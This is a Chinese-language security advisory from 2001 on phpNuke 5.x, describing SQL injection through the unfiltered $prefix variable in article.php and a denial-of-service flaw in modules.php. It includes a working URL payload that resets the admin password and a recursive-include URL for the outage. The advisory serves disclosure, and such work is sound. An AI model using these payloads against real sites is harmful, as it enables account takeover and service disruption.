xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

phpNuke存在多个安全漏洞


发布时间:2001-08-09
更新时间:2001-08-09
严重程度:
威胁程度:普通用户访问权限
错误类型:设计错误
利用方式:服务器模式

受影响系统
phpNuke version 5.x
详细描述
PhpNuke(http://www.phpnuke.org/)没有很好的正确的过滤输入变量,可以
导致攻击者获得管理员权利。此漏洞仅可能被知道PHPNUKE数据库名字的攻击者
所利用,和WEB服务器必须能使用空密码连接到数据库。虽然这两个情况比较
少见,但还是必须注意。

测试代码
phpNuke包含了一个新的特征处理叫$prefix的变量,$prefix变量定义在config.php
文件中而后默认设置给'nuke',如:

< Sample default config.php file >
$dbhost = "localhost";
$dbuname = "root";
$dbpass = "";
$dbname = "nuke";
$system = 0;
$prefix = nuke;
</ End Sample >

攻击者可以利用$prefix变量建立自己的任意SQL查询。在article.php中就可以
自己定义$prefix变量:

< sample code from article.php >
if(!isset($mainfile)) { include("mainfile.php"); }
if(!isset($sid) && !isset($tid)) { exit(); }
</ end sample code>


程序流程最后会进入下面的SQL查询:

< example query from article.php >
mysql_query("UPDATE $prefix"._stories." SET
counter=counter+1 where sid=$sid");
< / end example query >

因此下面的命令可以设置admin密码为'1',并提交'nuke'名字数据库,如:

article.php?mainfile=1&sid=1&tid=1&prefix=nuke.authors%20set%20pwd=1%23

另外modules.php存在拒绝服务攻击,如果攻击者导致文件递归调用:

http://site_name_with_phpnuke/modules.php?op=modload&name=../&file=modules

解决方案
尚无

相关信息
kill-9 at modernhackers.com